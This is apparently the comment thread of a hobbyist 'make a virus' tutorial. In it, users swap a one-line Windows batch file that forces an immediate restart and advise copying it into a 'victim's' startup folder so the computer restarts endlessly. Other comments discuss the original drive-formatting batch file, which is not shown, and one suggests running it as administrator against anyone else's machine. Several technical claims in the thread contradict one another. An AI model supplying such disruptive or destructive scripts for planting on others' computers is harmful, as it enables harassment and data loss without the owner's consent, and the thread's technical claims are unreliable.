Hey guys, I have the most epic idea to make a virus:

Copy the following code in notepad:

"@echo offshutdown -r -t 00"

save it as anyname.bat

After that copy it to startup folder of your victim's computer and the computer will keep restarting!!!!!!

That's a way better idea. Good work!

you would have to save it as a .cmd file, not bat

samc_110 (author)NicholasW42016-12-22

Nope - still works as a .bat

this has ZERO PERCENT chance of doing any damage because you can't format the c drive because that is used whenever the computer is on eg when the virus is run

If you run CMD as administrator, you're lucky, and want to ruin your computer (or anyone else's) open it. Then restart your pc. Job's a goodun!

this can NOT format your c: drive because you will need the volume label that you get by typing a command on cmd, so this cannot work :)

samc_110 (author)2014-03-05

maboy? I didn't leave out "Once saved, open it" because I put in "DO NOT open this."

How does this work?

samc_110 (author)Ryavco2014-01-30

Well, one thing don't try it. But it works by "formatting" the main system's drive, which pretty much means deletes everything on it. On some computers and laptops, like my laptop for instance, it says "Access Denied!"

And when I mean don't try it, I mean don't open the file yourself.
You'll hate the results.

avillanueva11 (author)2014-01-27

LOL no it doesn't.
Don't actually try it.
Formatting the drive means that it'll wipe it clean.
Some computers don't allow you to wipe Hard Drives that keep the computer running.
